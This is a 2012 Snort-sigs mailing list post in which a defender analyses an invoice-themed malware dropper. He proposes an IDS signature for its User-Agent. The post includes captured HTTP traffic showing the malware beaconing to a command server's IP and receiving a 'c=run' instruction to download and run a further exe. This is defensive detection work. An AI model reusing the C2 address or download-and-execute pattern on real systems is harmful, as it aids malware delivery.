Malicious UA sig thoughts

[James Lay <jlay () slave-tothe-box net>]

All,

I've been tracking a malicious email campaign that, via email, fires 
sig 24102.  The email is usually a single image and link pointing to a 
compromised server.  Once this is clicked a zip file is served 
(currently INVOICE_FORM.zip); once extracted INVOICE_FORM.exe is 
created, and once run, injects code into svchost.exe.  The below is a 
sig to catch the UA on port 84 which it uses in my testing of multiple 
exe's:

User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

alert tcp $HOME_NET any -> $EXTERNAL_NET 84 (msg:"MALWARE-OTHER 
Maliciuos UA detected on non-standard port"; content:"User-Agent|3a| 
Mozilla/5.0 |28|Windows|3b| U|3b| MSIE 9.0|3b| Windows NT 9.0|3b| 
en-US|29|"; flow:to_server; metadata:policy balanced-ips drop, policy 
security-ips drop, service http; detection_filter:track by_src, count 1, 
seconds 120; classtype:trojan-activity; sid:10000027; rev:1;)

A search on http://www.ua-tracker.com showed no hits on this UA.  
Adding http_headers after the content cause the sig to not 
fire...guessing it's because it's on port 84.  Anubis analysis here:

http://anubis.iseclab.org/?action=result&task_id=1691c3b8835221fa4692960681f39c736&format=html

Headers:

GET 
/e08ce115FAEE8A2F6E15370539C8F287D4C0BEA2A4E2B11A4B2BA75C0F51A1572B0CD8684E9D123FEF09849FEB133D3FC6EF995B72ACD5FD429BBC77739000F81B2EDC1CEF69A465
 
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Host: 74.208.73.243:84


HTTP/1.1 200 OK
Server: nginx/1.2.2
Date: Mon, 17 Sep 2012 20:45:04 GMT
Content-Type: text/html
Content-Length: 49
Connection: keep-alive
X-Powered-By: PHP/5.3.3-7+squeeze13
Vary: Accept-Encoding


c=run&u=/get/65387bdbd710b4e522dfcd1b45b1783d.exe

GET //get/65387bdbd710b4e522dfcd1b45b1783d.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 
Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 
3.5.30729; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322)
Host: 74.208.73.243:84
Connection: Keep-Alive

I was first thinking we could match on the ridiculously long initial 
get...or perhaps the secondary GET //get/.  My favorite is the 
on-the-fly OS change in the stream...would be neat to be able to do a 
flowbits to be able to check for that one day.  I would label this 
Kulouz first stage or something(?) but not sure as it seems to download 
random junk (FakeAV, keyloggers, etc...) with the multiple samples I've 
tested.  As always, thoughts, shreds, improvements, or "we already have 
that" are welcome.  Thanks all.

James

------------------------------------------------------------------------------
Live Security Virtual Conference
Exclusive live event will cover all the ways today's security and 
threat landscape has changed and how IT managers can respond. Discussions 
will include endpoint security, mobile security and the latest in malware 
threats. http://www.accelacomm.com/jaw/sfrnl04242012/114/50122263/
_______________________________________________
Snort-sigs mailing list
Snort-sigs () lists sourceforge net
https://lists.sourceforge.net/lists/listinfo/snort-sigs
http://www.snort.org


Please visit http://blog.snort.org for the latest news about Snort!